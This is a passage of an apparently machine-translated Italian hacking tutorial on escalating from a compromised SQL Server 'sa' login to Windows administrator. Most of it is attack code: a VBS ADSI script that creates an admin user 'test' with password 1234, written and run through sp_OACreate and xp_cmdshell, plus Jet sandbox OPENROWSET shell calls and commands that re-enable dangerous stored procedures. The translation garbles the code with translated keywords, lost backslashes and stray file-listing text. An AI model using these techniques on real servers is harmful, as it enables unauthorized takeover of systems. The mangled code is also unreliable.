SA password per accedere, spesso perché l'amministratore del server, o "precedente" si net.exe net1.exe e si limitano a utilizzare l'account amministratore non può essere aggiunto. Sappiamo che VBS in Active Directory (ADSI), parte di un oggetto winnt, utilizzato per gestire le risorse locali, l'uso, e così non può invocare il comando CMD è possibile aggiungere un amministratore, il codice specifico come segue:
set wsnetwork = CreateObject ("WScript.Network")
os = "WinNT wsnetwork.ComputerName ://"&
Set ob = GetObject (os) 'ottenere l'interfaccia ADSI, vincolante
Impostare OE = GetObject (OS & "/ Amministratori, del gruppo") 'proprietà, admin del gruppo
Set OD = ob.Create ("utente", "test") 'creare un utente
od.SetPassword "1234" 'Imposta password
od.SetInfo 'Salva
Set di = GetObject (OS & "/" di prova, l'utente) 'ottenere l'utente
os oe.add & "/ test"
Il codice precedente per salvare 1.vbs, quindi eseguire il comando per il "cscript 1.vbs, così il sistema aggiungerà un sistema chiamato la prova, la password utente è 1234. specifiche di attuazione del codice in Query Analyzer come segue:
Ø int declare @, @ f int, int t @, @ int ret
sp_oacreate exec 'Scripting.FileSystemObject', @ o fuori
sp_OAMethod exec @ O 'CreateTextFile', fuori @ f, 'c: 1.vbs', 1
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'set wsnetwork = CreateObject
("WScript.Network") '
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'os = "WinNT wsnetwork ://"&.
ComputerName '
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'Set ob = GetObject (os)'
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'oe Set = GetObject
(Os & "/ Amministratori, del gruppo") '
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'Set OD = ob.Create
("Utente", "test") '
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'od.SetPassword "1234"'
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'od.SetInfo'
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'Set = GetObject
(Os & "/" di prova, l'utente) '
exec @ ret = sp_OAMethod @ f 'WriteLine', NULL, 'oe.add os & "/ test"'
Attraverso la dichiarazione di cui sopra, poi eseguire la seguente riga di codice, questa linea deve separare la attuazione non, con the implementation di quanto sopra e, in caso contrario verrà chiesto "c: 1.vbs is gestito da un altro programma" can non aggiungere l'utente con successo :
exec master .. xp_cmdshell 'cscript c: 1.vbs'
Se l'utente del sistema non ha aggiunto correttamente, può essere perché la password dell'utente di sistema 1234 è troppo semplice, non soddisfa i criteri per le password complesse server, prendere in considerazione le impostazioni più complicato, e poi prova. È inoltre possibile utilizzare echo per scrivere 1.vbs codice, il formato di codice è:
exec master .. xp_cmdshell 'echo set wsnetwork = CreateObject ("WScript.Network")
1.vbs '
Tuttavia, non so perché tutti i personaggi con "&" nelle linee di comando non può scrivere 1.vbs, interessati a ciò che un amico può cercare di risolvere.
Utilizzando il modello a getto di sabbia tabella può essere risolto xp_cmdshell stored procedure diverse e rilevanti libreria di collegamento dinamico fastidio. Per motivi di sicurezza, il sistema non predefinito per aprire la modalità sandbox, che richiede xp_regwrite modalità di apertura sandbox:
master.dbo.xp_regwrite Exec 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftJet4.0
Motori '' SandboxMode ',' REG_DWORD ', 1
Quindi eseguire il comando tavolo di sabbia, il sistema aggiunge un utente di nome prova, la password per il 1234 gli utenti:
selezionare conf bin backup dei dati di configurazione generate.sh eshow_sitemap.html log maint tmp sitemap.html svn da OPENROWSET ('Microsoft.Jet.OLEDB.4.0', '; database = c: windows
system32iasias.mdb ',' shell selezionare ("cmd.exe / c test utente netto 1234 / add") ')
selezionare conf bin backup dei dati di configurazione generate.sh eshow_sitemap.html log maint tmp sitemap.html svn da OPENROWSET ('Microsoft.Jet.OLEDB.4.0', '; database = c: windows
system32iasias.mdb ',' shell selezionare ("cmd.exe / c net localgroup
Gli amministratori di test / add ") ')
I diversi sistemi operativi, il percorso non è lo stesso bisogno di apportare modifiche alla situazione:
NT/2K: c: winntsystem32
XP/2003: c: Windowssystem32
Un altro Server2005 Microsoft SQL in default, il numero di stored procedure è chiuso e richiede un comando per aprire:
Open xp_cmdshell:
EXEC sp_configure 'mostra opzioni avanzate', 1; riconfigurare; EXEC sp_configure
'Xp_cmdshell', 1; riconfigurare;
OPENROWSET Open '':
exec sp_configure 'mostra opzioni avanzate', 1; riconfigurare; exec sp_configure
'Ad Hoc Distributed Queries', 1; riconfigurare;
sp_oacreate Open '':
exec sp_configure 'mostra opzioni avanzate', 1; riconfigurare; sp exec